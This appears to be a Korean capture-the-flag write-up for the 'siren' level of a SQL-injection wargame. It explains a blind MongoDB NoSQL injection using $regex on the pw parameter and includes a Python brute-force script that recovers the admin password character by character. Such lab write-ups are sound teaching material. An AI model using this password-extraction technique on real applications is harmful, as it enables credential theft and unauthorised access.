문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  $query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
  );
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_siren->find($query));
  if($result['id']) echo "<h2>Hello User</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_siren->find($query));
  if($result['pw'] === $_GET['pw']) solve("siren");
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

코드 분석

$db = mongodb_connect();

DB가 mongodb이므로 NoSQLi 문제로 보인다.

 

$query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
);
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['id']) echo "<h2>Hello User</h2>";

공격 백터 id와 pw는 "id" => "공격 백터 id", "pw" => "공격 백터 pw"에 들어가서 Json 형식으로 인코딩된다.
인코딩된 값은 {"id":"공격 백터 id", "pw":"공격 백터 pw"}이며, MongoDB에 전달이 된다.

 

해당 쿼리의 id 반환값이 있다면 Hello User가 화면에 출력된다.

 

$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['pw'] === $_GET['pw']) solve("siren");

이후 MongoDB에 저장된 admin의 pw와 공격 백터 pw가 같으면 문제가 클리어 된다.


문제 풀이

이번 문제는 admin의 pw를 정확하게 알아야 클리어 되는 문제이다.
SQLi의 경우 Substring 함수를 사용하여 알아낼 수 있다.

 

물론 MongoDB에서도 Substr와 같은 역할을 하는 $substr이 있다. 하지만 위 코드에서 사용하기가 힘들다.
그래서 사용되는 것이 $regex를 사용하여 정규표현식으로 pw을 파싱하는 것이다.

참고 사이트
NoSQL injection - HackTricks
$regex — MongoDB Manual

 

나는 Mongo playground에서 몇 가지 테스트를 하였다.

이와 같이 id:"admin", pw:{"$regex":".{4}"}로 admin의 pw 길이가 4자리인 것을 알 수 있다.

 

만약 틀리다면 위와 같이 결과가 안 뜨는 것을 알 수 있다.

 

또한 길이를 줄이고, 앞에 문자를 넣으면 해당 자리의 문자를 비교하게 된다.

 

이처럼 틀리게 되면 아무 결과를 얻을 수 없다.

 

테스트를 한 2가지를 이용하여 admin의 pw를 파싱하겠다.

1부터 시작하여 9까지 시도한 결과 9번째에서 Hello User가 출력됐다.
즉, admin의 pw 길이는 8이라는 것을 알 수 있다.

 

이제 파이썬으로 pw 파싱을 하겠다.

from SQLI import SQLI
import string

url = 'https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php?'
cookie = 'nojp5m1iml5171g1bu9opu030q'

sqli = SQLI(url, cookie)

pw = ''
for num in range(7, 0-1, -1):
    for s in string.ascii_letters + string.digits:
        query = f'id=admin&pw[$regex]={pw + s}.' + '{' + str(num) + '}'
        result = sqli.pw_parsing(query)

        if 'Hello User' in result:
            pw += s
            print(f'{num} pw >>>', pw)
            break

print('admin의 pw >>>', pw)

간단하게 파싱하였다.

 

파이썬으로 얻은 값을 서버로 보내면 문제가 클리어된다.

복사했습니다!